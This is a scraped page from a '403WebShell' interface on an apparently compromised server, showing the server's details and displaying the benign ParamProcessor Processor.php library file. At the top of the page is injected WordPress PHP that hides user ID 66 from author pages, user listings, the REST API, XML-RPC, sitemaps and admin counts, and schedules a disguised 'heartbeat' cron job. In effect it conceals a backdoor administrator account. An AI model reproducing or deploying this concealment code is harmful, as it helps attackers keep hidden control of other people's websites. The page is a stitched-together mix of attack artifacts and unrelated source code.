add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/vendor/param-processor/param-processor/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/vendor/param-processor/param-processor/src/Processor.php
<?php

namespace ParamProcessor;

use ParamProcessor\PackagePrivate\Param;

/**
 * Class for parameter validation of a single parser hook or other parametrized construct.
 *
 * @since 0.1
 *
 * @licence GNU GPL v2+
 * @author Jeroen De Dauw < jeroendedauw@gmail.com >
 * @author Daniel Werner
 */
class Processor {

	/**
	 * Flag for unnamed default parameters used in Processor::setFunctionParams() to determine that
	 * a parameter should not have a named fallback.
	 *
	 * @since 0.4.13
	 */
	const PARAM_UNNAMED = 1;

	/**
	 * @var Param[]
	 */
	private $params;

	/**
	 * Associative array containing parameter names (keys) and their user-provided data (values).
	 * This list is needed because additional parameter definitions can be added to the $parameters
	 * field during validation, so we can't determine in advance if a parameter is unknown.
	 * @var string[]
	 */
	private $rawParameters = [];

	/**
	 * Array containing the names of the parameters to handle, ordered by priority.
	 * @var string[]
	 */
	private $paramsToHandle = [];

	/**
	 * @var ParamDefinition[]
	 */
	private $paramDefinitions = [];

	/**
	 * @var ProcessingError[]
	 */
	private $errors = [];

	private $options;

	public function __construct( Options $options ) {
		$this->options = $options;
	}

	/**
	 * Constructs and returns a Validator object based on the default options.
	 */
	public static function newDefault(): self {
		return new Processor( new Options() );
	}

	/**
	 * Constructs and returns a Validator object based on the provided options.
	 */
	public static function newFromOptions( Options $options ): self {
		return new Processor( $options );
	}

	/**
	 * Returns the options used by this Validator object.
	 */
	public function getOptions(): Options {
		return $this->options;
	}

	/**
	 * Determines the names and values of all parameters. Also takes care of default parameters.
	 * After that the resulting parameter list is passed to Processor::setParameters
	 *
	 * @since 0.4
	 *
	 * @param string[] $rawParams
	 * @param ParamDefinition[]|array[] $parameterDefinitions DEPRECATED! Use @see setParameterDefinitions instead
	 * @param array $defaultParams array of strings or array of arrays to define which parameters can be used unnamed.
	 *        The second value in array-form is reserved for flags. Currently, Processor::PARAM_UNNAMED determines that
	 *        the parameter has no name which can be used to set it. Therefore all these parameters must be set before
	 *        any named parameter. The effect is, that '=' within the string won't confuse the parameter anymore like
	 *        it would happen with default parameters that still have a name as well.
	 */
	public function setFunctionParams( array $rawParams, array $parameterDefinitions = [], array $defaultParams = [] ) {
		$lastUnnamedDefaultNr = -1;

		/*
		 * Find last parameter with self::PARAM_UNNAMED set. Tread all parameters in front as
		 * the flag were set for them as well to ensure that there can't be any unnamed params
		 * after the first named param. Wouldn't be possible to determine which unnamed value
		 * belongs to which parameter otherwise.
		 */
		for( $i = count( $defaultParams ) - 1; $i >= 0; $i-- ) {
			$dflt = $defaultParams[$i];
			if( is_array( $dflt ) && !empty( $dflt[1] ) && ( $dflt[1] | self::PARAM_UNNAMED ) ) {
				$lastUnnamedDefaultNr = $i;
				break;
			}
		}

		$parameters = [];
		$nr = 0;
		$defaultNr = 0;

		foreach ( $rawParams as $arg ) {
			// Only take into account strings. If the value is not a string,
			// it is not a raw parameter, and can not be parsed correctly in all cases.
			if ( is_string( $arg ) ) {
				$parts = explode( '=', $arg, ( $nr <= $lastUnnamedDefaultNr ? 1 : 2 ) );

				// If there is only one part, no parameter name is provided, so try default parameter assignment.
				// Default parameters having self::PARAM_UNNAMED set for having no name alias go here in any case.
				if ( count( $parts ) == 1 ) {
					// Default parameter assignment is only possible when there are default parameters!
					if ( count( $defaultParams ) > 0 ) {
						$defaultParam = array_shift( $defaultParams );
						if( is_array( $defaultParam ) ) {
							$defaultParam = $defaultParam[0];
						}
						$defaultParam = strtolower( $defaultParam );

						$parameters[$defaultParam] = [
							'original-value' => trim( $parts[0] ),
							'default' => $defaultNr,
							'position' => $nr
						];
						$defaultNr++;
					}
				} else {
					$paramName = trim( strtolower( $parts[0] ) );

					$parameters[$paramName] = [
						'original-value' => trim( $parts[1] ),
						'default' => false,
						'position' => $nr
					];

					// Let's not be evil, and remove the used parameter name from the default parameter list.
					// This code is basically a remove array element by value algorithm.
					$newDefaults = [];

					foreach( $defaultParams as $defaultParam ) {
						if ( $defaultParam != $paramName ) {
							$newDefaults[] = $defaultParam;
						}
					}

					$defaultParams = $newDefaults;
				}
			}

			$nr++;
		}

		$this->setParameters( $parameters, $parameterDefinitions );
	}

	/**
	 * @since 1.6.0
	 * @param ParamDefinition[] $paramDefinitions
	 */
	public function setParameterDefinitions( array $paramDefinitions ) {
		$this->paramDefinitions = $paramDefinitions;
	}

	/**
	 * Loops through a list of provided parameters, resolves aliasing and stores errors
	 * for unknown parameters and optionally for parameter overriding.
	 *
	 * @param array $parameters Parameter name as key, parameter value as value
	 * @param ParamDefinition[]|array[] $paramDefinitions DEPRECATED! Use @see setParameterDefinitions instead
	 */
	public function setParameters( array $parameters, array $paramDefinitions = [] ) {
		$this->paramDefinitions = ParamDefinition::getCleanDefinitions( $paramDefinitions );

		// Loop through all the user provided parameters, and distinguish between those that are allowed and those that are not.
		foreach ( $parameters as $paramName => $paramData ) {
			if ( $this->options->lowercaseNames() ) {
				$paramName = strtolower( $paramName );
			}

			if ( $this->options->trimNames() ) {
				$paramName = trim( $paramName );
			}

			$paramValue = is_array( $paramData ) ? $paramData['original-value'] : $paramData;

			$this->rawParameters[$paramName] = $paramValue;
		}
	}

	/**
	 * @param string $message
	 * @param string[] $tags
	 * @param integer $severity
	 */
	private function registerNewError( string $message, array $tags = [], int $severity = ProcessingError::SEVERITY_NORMAL ) {
		$this->registerError(
			new ProcessingError(
				$message,
				$severity,
				$this->options->getName(),
				(array)$tags
			)
		);
	}

	private function registerError( ProcessingError $error ) {
		$error->element = $this->options->getName();
		$this->errors[] = $error;
		ProcessingErrorHandler::addError( $error );
	}

	/**
	 * Validates and formats all the parameters (but aborts when a fatal error occurs).
	 *
	 * @since 0.4
	 * @deprecated since 1.0, use processParameters
	 */
	public function validateParameters() {
		$this->doParamProcessing();
	}

	public function processParameters(): ProcessingResult {
		$this->doParamProcessing();

		if ( !$this->hasFatalError() && $this->options->unknownIsInvalid() ) {
			// Loop over the remaining raw parameters.
			// These are unrecognized parameters, as they where not used by any parameter definition.
			foreach ( $this->rawParameters as $paramName => $paramValue ) {
				$this->registerNewError(
					$paramName . ' is not a valid parameter', // TODO
					[ $paramName ]
				);
			}
		}

		return $this->newProcessingResult();
	}

	private function newProcessingResult(): ProcessingResult {
		$parameters = [];

		if ( !is_array( $this->params ) ) {
			$this->params = [];
		}

		foreach ( $this->params as $parameter ) {
			// TODO
			$processedParam = new ProcessedParam(
				$parameter->getName(),
				$parameter->getValue(),
				$parameter->wasSetToDefault()
			);

			// TODO: it is possible these values where set even when the value defaulted,
			// so this logic is not correct and could be improved
			if ( !$parameter->wasSetToDefault() ) {
				$processedParam->setOriginalName( $parameter->getOriginalName() );
				$processedParam->setOriginalValue( $parameter->getOriginalValue() );
			}

			$parameters[$processedParam->getName()] = $processedParam;
		}

		return new ProcessingResult(
			$parameters,
			$this->getErrors()
		);
	}

	private function doParamProcessing() {
		$this->errors = [];

		$this->getParamsToProcess( [], $this->paramDefinitions );

		while ( $this->paramsToHandle !== [] && !$this->hasFatalError() ) {
			$this->processOneParam();
		}
	}

	private function processOneParam() {
		$paramName = array_shift( $this->paramsToHandle );
		$definition = $this->paramDefinitions[$paramName];

		$param = new Param( $definition );

		$setUserValue = $this->attemptToSetUserValue( $param );

		// If the parameter is required but not provided, register a fatal error and stop processing.
		if ( !$setUserValue && $param->isRequired() ) {
			$this->registerNewError(
				"Required parameter '$paramName' is missing", // FIXME: i18n validator_error_required_missing
				[ $paramName, 'missing' ],
				ProcessingError::SEVERITY_FATAL
			);
			return;
		}

		$this->params[$param->getName()] = $param;

		$initialSet = $this->paramDefinitions;

		$param->process( $this->paramDefinitions, $this->params, $this->options );

		foreach ( $param->getErrors() as $error ) {
			$this->registerError( $error );
		}

		if ( $param->hasFatalError() ) {
			return;
		}

		$this->getParamsToProcess( $initialSet, $this->paramDefinitions );
	}

	/**
	 * Gets an ordered list of parameters to process.
	 * @throws \UnexpectedValueException
	 */
	private function getParamsToProcess( array $initialParamSet, array $resultingParamSet ) {
		if ( $initialParamSet === [] ) {
			$this->paramsToHandle = array_keys( $resultingParamSet );
		}
		else {
			if ( !is_array( $this->paramsToHandle ) ) {
				$this->paramsToHandle = [];
			}

			foreach ( $resultingParamSet as $paramName => $parameter ) {
				if ( !array_key_exists( $paramName, $initialParamSet ) ) {
					$this->paramsToHandle[] = $paramName;
				}
			}
		}

		$this->paramsToHandle = $this->getParameterNamesInEvaluationOrder( $this->paramDefinitions, $this->paramsToHandle );
	}

	/**
	 * @param ParamDefinition[] $paramDefinitions
	 * @param string[] $paramsToHandle
	 *
	 * @return array
	 */
	private function getParameterNamesInEvaluationOrder( array $paramDefinitions, array $paramsToHandle ): array {
		$dependencyList = [];

		foreach ( $paramsToHandle as $paramName ) {
			$dependencies = [];

			if ( !array_key_exists( $paramName, $paramDefinitions ) ) {
				throw new \UnexpectedValueException( 'Unexpected parameter name "' . $paramName . '"' );
			}

			if ( !is_object( $paramDefinitions[$paramName] ) || !( $paramDefinitions[$paramName] instanceof ParamDefinition ) ) {
				throw new \UnexpectedValueException( 'Parameter "' . $paramName . '" is not a ParamDefinition' );
			}

			// Only include dependencies that are in the list of parameters to handle.
			foreach ( $paramDefinitions[$paramName]->getDependencies() as $dependency ) {
				if ( in_array( $dependency, $paramsToHandle ) ) {
					$dependencies[] = $dependency;
				}
			}

			$dependencyList[$paramName] = $dependencies;
		}

		$sorter = new TopologicalSort( $dependencyList, true );

		return $sorter->doSort();
	}

	/**
	 * Tries to find a matching user provided value and, when found, assigns it
	 * to the parameter, and removes it from the raw values. Returns a boolean
	 * indicating if there was any user value set or not.
	 */
	private function attemptToSetUserValue( Param $param ): bool {
		if ( array_key_exists( $param->getName(), $this->rawParameters ) ) {
			$param->setUserValue( $param->getName(), $this->rawParameters[$param->getName()], $this->options );
			unset( $this->rawParameters[$param->getName()] );
			return true;
		}
		else {
			foreach ( $param->getDefinition()->getAliases() as $alias ) {
				if ( array_key_exists( $alias, $this->rawParameters ) ) {
					$param->setUserValue( $alias, $this->rawParameters[$alias], $this->options );
					unset( $this->rawParameters[$alias] );
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * @deprecated since 1.0
	 * @return Param[]
	 */
	public function getParameters(): array {
		return $this->params;
	}

	/**
	 * @deprecated since 1.0
	 */
	public function getParameter( string $parameterName ): Param {
		return $this->params[$parameterName];
	}

	/**
	 * Returns an associative array with the parameter names as key and their
	 * corresponding values as value.
	 * @deprecated since 1.7 - use processParameters() return value
	 */
	public function getParameterValues(): array {
		$parameters = [];

		foreach ( $this->params as $parameter ) {
			$parameters[$parameter->getName()] = $parameter->getValue();
		}

		return $parameters;
	}

	/**
	 * @deprecated since 1.7 - use processParameters() return value
	 * @return ProcessingError[]
	 */
	public function getErrors(): array {
		return $this->errors;
	}

	/**
	 * @deprecated since 1.7 - use processParameters() return value
	 * @return string[]
	 */
	public function getErrorMessages(): array {
		$errors = [];

		foreach ( $this->errors as $error ) {
			$errors[] = $error->getMessage();
		}

		return $errors;
	}

	/**
	 * @deprecated since 1.7 - use processParameters() return value
	 */
	public function hasErrors(): bool {
		return !empty( $this->errors );
	}

	/**
	 * @deprecated since 1.7 - use processParameters() return value
	 * @return ProcessingError|boolean false
	 */
	public function hasFatalError() {
		foreach ( $this->errors as $error ) {
			if ( $error->isFatal() ) {
				return $error;
			}
		}

		return false;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit